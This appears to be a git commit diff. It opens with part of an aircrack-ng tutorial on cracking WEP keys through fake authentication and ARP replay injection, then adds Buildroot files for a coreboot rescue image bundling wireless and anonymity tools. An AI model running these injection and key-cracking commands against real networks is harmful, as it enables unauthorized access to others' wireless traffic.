CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
|
||||
|
||||
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
|
||||
|
||||
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
|
||||
|
||||
BSSID STATION PWR Lost Packets Probes
|
||||
|
||||
00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
|
||||
|
||||
|
||||
==== Step 4 - Use aireplay-ng to do a fake authentication with the access point ====
|
||||
|
||||
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a "DeAuthentication" packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
|
||||
|
||||
The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.
|
||||
|
||||
To associate with an access point, use fake authentication:
|
||||
|
||||
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
|
||||
|
||||
Where:
|
||||
*-1 means fake authentication
|
||||
*0 reassociation timing in seconds
|
||||
*-e teddy is the wireless network name
|
||||
*-a 00:14:6C:7E:40:80 is the access point MAC address
|
||||
*-h 00:0F:B5:88:AC:82 is our card MAC address
|
||||
*ath0 is the wireless interface name
|
||||
|
||||
Success looks like:
|
||||
18:18:20 Sending Authentication Request
|
||||
18:18:20 Authentication successful
|
||||
18:18:20 Sending Association Request
|
||||
18:18:20 Association successful :-)
|
||||
|
||||
Or another variation for picky access points:
|
||||
|
||||
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
|
||||
|
||||
Where:
|
||||
* 6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive packets to be sent.
|
||||
* -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
|
||||
* -q 10 - Send keep alive packets every 10 seconds.
|
||||
|
||||
Success looks like:
|
||||
18:22:32 Sending Authentication Request
|
||||
18:22:32 Authentication successful
|
||||
18:22:32 Sending Association Request
|
||||
18:22:32 Association successful :-)
|
||||
18:22:42 Sending keep-alive packet
|
||||
18:22:52 Sending keep-alive packet
|
||||
# and so on.
|
||||
|
||||
Here is an example of what a failed authentication looks like:
|
||||
8:28:02 Sending Authentication Request
|
||||
18:28:02 Authentication successful
|
||||
18:28:02 Sending Association Request
|
||||
18:28:02 Association successful :-)
|
||||
18:28:02 Got a deauthentication packet!
|
||||
18:28:05 Sending Authentication Request
|
||||
18:28:05 Authentication successful
|
||||
18:28:05 Sending Association Request
|
||||
18:28:10 Sending Authentication Request
|
||||
18:28:10 Authentication successful
|
||||
18:28:10 Sending Association Request
|
||||
|
||||
Notice the "Got a deauthentication packet" and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
|
||||
|
||||
=== Troubleshooting Tips ===
|
||||
|
||||
*Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and...
|
||||
|
||||
Run: tcpdump -n -vvv -s0 -e -i <interface name> | grep -i -E "(RA:<MAC address of your card>|Authentication|ssoc)"
|
||||
|
||||
You would then look for error messages.
|
||||
|
||||
*If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and...
|
||||
|
||||
Run: "tcpdump -n -e -s0 -vvv -i ath0"
|
||||
|
||||
Here is a typical tcpdump error message you are looking for:
|
||||
|
||||
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
|
||||
|
||||
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
|
||||
|
||||
If you want to select only the DeAuth packets with tcpdump then you can use: "tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth". You may need to tweak the phrase "DeAuth" to pick out the exact packets you want.
|
||||
|
||||
==== Step 5 - Start aireplay-ng in ARP request replay mode ====
|
||||
|
||||
The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explanation of ARP, see this [[http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&i=37988,00.asp|PC Magazine page]] or [[http://en.wikipedia.org/wiki/Address_Resolution_Protocol|Wikipedia]]. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.
|
||||
|
||||
Open another console session and enter:
|
||||
|
||||
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
|
||||
|
||||
It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the [[simple_wep_crack#Generating ARPs]] section for tricks on generating ARPs if your screen says "got 0 ARP requests" after waiting a long time.
|
||||
|
||||
Here is what the screen looks like when ARP requests are being injected:
|
||||
|
||||
Saving ARP requests in replay_arp-0321-191525.cap
|
||||
You should also start airodump-ng to capture replies.
|
||||
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
|
||||
|
||||
You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The "#/s" should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.
|
||||
|
||||
|
||||
=== Troubleshooting Tips ===
|
||||
|
||||
* If you receive a message similar to "Got a deauth/disassoc packet. Is the source mac associated?", this means you have lost association with the AP. All your injected packets will be ignored. You must return to the fake authentication step (Step 3) and successfully associate with the AP.
|
||||
|
||||
==== Step 6 - Run aircrack-ng to obtain the WEP key ====
|
||||
|
||||
The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.
|
||||
|
||||
Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include "-n 64" to limit the checking of keys to 64 bits.
|
||||
|
||||
Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection of ARP request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the "-''''-ivs" option.
|
||||
|
||||
Start another console session and enter:
|
||||
|
||||
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
|
||||
|
||||
Where:
|
||||
* -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
|
||||
* output*.cap selects all files starting with "output" and ending in ".cap".
|
||||
|
||||
To also use the FMS/Korek method, start another console session and enter:
|
||||
|
||||
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
|
||||
|
||||
Where:
|
||||
* -K invokes the FMS/Korek method
|
||||
* -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
|
||||
* output*.cap selects all files starting with "output" and ending in ".cap".
|
||||
|
||||
If you are using 1.0-rc1, add the option "-K" for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)
|
||||
|
||||
You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
|
||||
|
||||
Here is what success looks like:
|
||||
|
||||
Aircrack-ng 0.9
|
||||
|
||||
|
||||
[00:03:06] Tested 674449 keys (got 96610 IVs)
|
||||
|
||||
KB depth byte(vote)
|
||||
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
|
||||
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
|
||||
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
|
||||
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
|
||||
|
||||
KEY FOUND! [ 12:34:56:78:90 ]
|
||||
Probability: 100%
|
||||
|
||||
Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)
|
||||
|
||||
|
||||
===== General Troubleshooting =====
|
||||
|
||||
* Be sure to read all the documentation on the Wiki for the various commands used in this tutorial.
|
||||
* See [[i_am_injecting_but_the_ivs_don_t_increase|Tutorial: I am injecting but the IVs don't increase]]
|
||||
|
||||
|
||||
===== Generating ARPs =====
|
||||
|
||||
In order for this tutorial to work, you must receive at least one ARP packet. On your home network, here is an easy way to generate an ARP packet. On a wired or wireless PC, ping a non-existent IP on your home LAN. A wired PC means a PC connected to your LAN via an ethernet cable. Lets say your home LAN address space is 192.168.1.1 through 192.168.1.254. Pick an IP between 1 and 254 which is not assigned to a network device. For example, if the IP 192.168.1.213 is not being used then "ping 192.168.1.213". This will cause an ARP to be broadcast via your wireless access point and in turn, this will kick off the reinjection of packets by aireplay-ng.
|
||||
|
||||
@ -0,0 +1,3 @@
|
||||
#!/bin/sh
|
||||
|
||||
find /sys -name modalias | xargs sort -u | xargs modprobe -a 2> /dev/null
|
||||
@ -0,0 +1,60 @@
|
||||
BR2_x86_64=y
|
||||
BR2_x86_corei7_avx=y
|
||||
BR2_GLOBAL_PATCH_DIR="$(BR2_EXTERNAL)/board/coreboot/patches"
|
||||
BR2_TOOLCHAIN_BUILDROOT_WCHAR=y
|
||||
BR2_ENABLE_LOCALE_PURGE=y
|
||||
BR2_ENABLE_LOCALE_WHITELIST="C"
|
||||
BR2_TARGET_GENERIC_HOSTNAME="rescue"
|
||||
BR2_TARGET_GENERIC_ISSUE="Welcome to Coreboot Rescue"
|
||||
BR2_ROOTFS_POST_BUILD_SCRIPT="$(BR2_EXTERNAL)/board/coreboot/post-build.sh"
|
||||
BR2_LINUX_KERNEL=y
|
||||
BR2_LINUX_KERNEL_SAME_AS_HEADERS=y
|
||||
BR2_LINUX_KERNEL_PATCH="$(BR2_EXTERNAL)/board/coreboot/linux-patches"
|
||||
BR2_LINUX_KERNEL_USE_CUSTOM_CONFIG=y
|
||||
BR2_LINUX_KERNEL_CUSTOM_CONFIG_FILE="$(BR2_EXTERNAL)/board/coreboot/linux-4.1.config"
|
||||
BR2_PACKAGE_BUSYBOX_CONFIG="$(BR2_EXTERNAL)/board/coreboot/busybox.config"
|
||||
BR2_PACKAGE_XZ=y
|
||||
BR2_PACKAGE_KEXEC=y
|
||||
BR2_PACKAGE_E2TOOLS=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_6002=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_6003=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_6004=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_7010=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_9170=y
|
||||
BR2_PACKAGE_LINUX_FIRMWARE_ATHEROS_9271=y
|
||||
BR2_PACKAGE_CRYPTSETUP=y
|
||||
BR2_PACKAGE_FLASHROM=y
|
||||
# BR2_PACKAGE_LVM2_STANDARD_INSTALL is not set
|
||||
BR2_PACKAGE_CA_CERTIFICATES=y
|
||||
BR2_PACKAGE_OPENSSL_BIN=y
|
||||
BR2_PACKAGE_CCID=y
|
||||
BR2_PACKAGE_AESPIPE=y
|
||||
BR2_PACKAGE_HAVEGED=y
|
||||
BR2_PACKAGE_MOBILE_BROADBAND_PROVIDER_INFO=y
|
||||
BR2_PACKAGE_AIRCRACK_NG=y
|
||||
BR2_PACKAGE_CRDA=y
|
||||
BR2_PACKAGE_DROPBEAR=y
|
||||
BR2_PACKAGE_DROPBEAR_DISABLE_REVERSEDNS=y
|
||||
BR2_PACKAGE_IODINE=y
|
||||
BR2_PACKAGE_IW=y
|
||||
BR2_PACKAGE_LINKS=y
|
||||
BR2_PACKAGE_MACCHANGER=y
|
||||
BR2_PACKAGE_PROXYCHAINS_NG=y
|
||||
BR2_PACKAGE_TOR=y
|
||||
BR2_PACKAGE_WIRELESS_TOOLS=y
|
||||
BR2_PACKAGE_WPA_SUPPLICANT=y
|
||||
BR2_PACKAGE_WPA_SUPPLICANT_EAP=y
|
||||
BR2_PACKAGE_WPA_SUPPLICANT_CLI=y
|
||||
BR2_PACKAGE_WPA_SUPPLICANT_PASSPHRASE=y
|
||||
BR2_PACKAGE_GNUPG2=y
|
||||
BR2_PACKAGE_GNUPG2_GPGV2=y
|
||||
BR2_PACKAGE_PINENTRY=y
|
||||
BR2_PACKAGE_SCREEN=y
|
||||
BR2_TARGET_ROOTFS_CPIO=y
|
||||
BR2_TARGET_ROOTFS_CPIO_XZ=y
|
||||
# BR2_TARGET_ROOTFS_TAR is not set
|
||||
BR2_PACKAGE_CBFSTOOL=y
|
||||
BR2_PACKAGE_IFDTOOL=y
|
||||
BR2_PACKAGE_NVRAMTOOL=y
|
||||
BR2_DEFCONFIG="$(BR2_EXTERNAL)/configs/coreboot_defconfig"
|
||||
@ -0,0 +1 @@
|
||||
include $(sort $(wildcard $(BR2_EXTERNAL)/package/*/*/*.mk))
|
||||
@ -0,0 +1,5 @@
|
||||
menu "Coreboot"
|
||||
source "$BR2_EXTERNAL/package/coreboot/cbfstool/Config.in"
|
||||
source "$BR2_EXTERNAL/package/coreboot/ifdtool/Config.in"
|
||||
source "$BR2_EXTERNAL/package/coreboot/nvramtool/Config.in"
|
||||
endmenu
|
||||
@ -0,0 +1,11 @@
|
||||
config BR2_PACKAGE_CBFSTOOL
|
||||
bool "cbfstool"
|
||||
depends on BR2_i386 || BR2_x86_64
|
||||
# depends on BR2_INSTALL_LIBSTDCPP
|
||||
help
|
||||
cbfstool is a utility for working with coreboot cbfs images.
|
||||
|
||||
http://www.coreboot.org/
|
||||
|
||||
#comment "cbfstool a needs toolchain w/ C++"
|
||||
# depends on !BR2_INSTALL_LIBSTDCPP
|
||||
@ -0,0 +1,24 @@
|
||||
################################################################################
|
||||
#
|
||||
# cbfstool
|
||||
#
|
||||
################################################################################
|
||||
|
||||
CBFSTOOL_VERSION = 0.1
|
||||
CBFSTOOL_SITE = /opt/local/src/coreboot/x220/util/cbfstool
|
||||
CBFSTOOL_SITE_METHOD = local
|
||||
CBFSTOOL_LICENSE = GPLv2
|
||||
CBFSTOOL_LICENSE_FILES = COPYING
|
||||
CBFSTOOL_CFLAGS = $(TARGET_CFLAGS) -std=c99 -I$(@D) -I$(@D)/flashmap
|
||||
CBFSTOOL_CPPFLAGS = $(TARGET_CPPFLAGS) -std=c99 -I$(@D) -I$(@D)/flashmap
|
||||
CBFSTOOL_LDFLAGS = $(TARGET_LDFLAGS) -std=c99 -I$(@D) -I$(@D)/flashmap
|
||||
|
||||
define CBFSTOOL_BUILD_CMDS
|
||||
$(MAKE) $(TARGET_CONFIGURE_OPTS) LDFLAGS="$(CBFSTOOL_LDFLAGS)" HOSTCPP="$(TARGET_CPP)" HOSTCC="$(TARGET_CC)" CPPFLAGS="$(CBFSTOOL_CPPFLAFS)" CFLAGS="$(CBFSTOOL_CFLAGS)" -C $(@D) cbfstool
|
||||
endef
|
||||
|
||||
define CBFSTOOL_INSTALL_TARGET_CMDS
|
||||
$(INSTALL) -m 0755 -D $(@D)/cbfstool $(TARGET_DIR)/usr/sbin/cbfstool
|
||||
endef
|
||||
|
||||
$(eval $(generic-package))
|
||||
@ -0,0 +1 @@
|
||||
include package/coreboot/*/*.mk
|
||||
@ -0,0 +1,7 @@
|
||||
config BR2_PACKAGE_IFDTOOL
|
||||
bool "ifdtool"
|
||||
depends on BR2_i386 || BR2_x86_64
|
||||
help
|
||||
ifdtool is a utility to inspect manipulate intel flash descriptor images.
|
||||
|
||||
http://www.coreboot.org/
|
||||
@ -0,0 +1,23 @@
|
||||
################################################################################
|
||||
#
|
||||
# ifdtool
|
||||
#
|
||||
################################################################################
|
||||
|
||||
IFDTOOL_VERSION = 1.2
|
||||
IFDTOOL_SITE = /opt/local/src/coreboot/x220/util/ifdtool
|
||||
IFDTOOL_SITE_METHOD = local
|
||||
IFDTOOL_LICENSE = GPLv2
|
||||
IFDTOOL_LICENSE_FILES = COPYING
|
||||
IFDTOOL_CFLAGS = $(TARGET_CFLAGS) -I$(@D)
|
||||
IFDTOOL_CXXFLAGS = $(TARGET_CXXFLAGS) -I$(@D)
|
||||
|
||||
define IFDTOOL_BUILD_CMDS
|
||||
$(MAKE) $(TARGET_CONFIGURE_OPTS) HOSTCC="$(TARGET_CC)" CXXFLAGS="$(IFDTOOL_CXXFLAGS)" CFLAGS="$(IFDTOOL_CFLAGS)" -C $(@D)
|
||||
endef
|
||||
|
||||
define IFDTOOL_INSTALL_TARGET_CMDS
|
||||
$(INSTALL) -m 0755 -D $(@D)/ifdtool $(TARGET_DIR)/usr/sbin/ifdtool
|
||||
endef
|
||||
|
||||
$(eval $(generic-package))
|
||||
@ -0,0 +1,12 @@
|
||||
config BR2_PACKAGE_NVRAMTOOL
|
||||
bool "nvramtool"
|
||||
depends on BR2_i386 || BR2_x86_64
|
||||
help
|
||||
nvramtool is a utility for reading/writing coreboot parameters in NVRAM/CMOS
|
||||
and displaying information from the so-called 'coreboot table'.
|
||||
The coreboot table resides in low physical memory. It is created at
|
||||
boot time by coreboot, and contains various system information such as
|
||||
the type of mainboard in use. It specifies locations in the NVRAM/CMOS
|
||||
(nonvolatile RAM) where the coreboot parameters are stored.
|
||||
|
||||
http://www.coreboot.org/
|
||||
@ -0,0 +1,23 @@
|
||||
################################################################################
|
||||
#
|
||||
# nvramtool
|
||||
#
|
||||
################################################################################
|
||||
|
||||
NVRAMTOOL_VERSION = 2.1
|
||||
NVRAMTOOL_SITE = /opt/local/src/coreboot/x220/util/nvramtool
|
||||
NVRAMTOOL_SITE_METHOD = local
|
||||
NVRAMTOOL_LICENSE = GPLv2
|
||||
NVRAMTOOL_LICENSE_FILES = COPYING
|
||||
NVRAMTOOL_CFLAGS = $(TARGET_CFLAGS) -I$(@D)
|
||||
NVRAMTOOL_CXXFLAGS = $(TARGET_CXXFLAGS) -I$(@D)
|
||||
|
||||
define NVRAMTOOL_BUILD_CMDS
|
||||
$(MAKE) $(TARGET_CONFIGURE_OPTS) HOSTCC="$(TARGET_CC)" CXXFLAGS="$(NVRAMTOOL_CXXFLAGS)" CFLAGS="$(NVRAMTOOL_CFLAGS)" -C $(@D)
|
||||
endef
|
||||
|
||||
define NVRAMTOOL_INSTALL_TARGET_CMDS
|
||||
$(INSTALL) -m 0755 -D $(@D)/nvramtool $(TARGET_DIR)/usr/sbin/nvramtool
|
||||
endef
|
||||
|
||||
$(eval $(generic-package))
|
||||
Loading…
Reference in new issue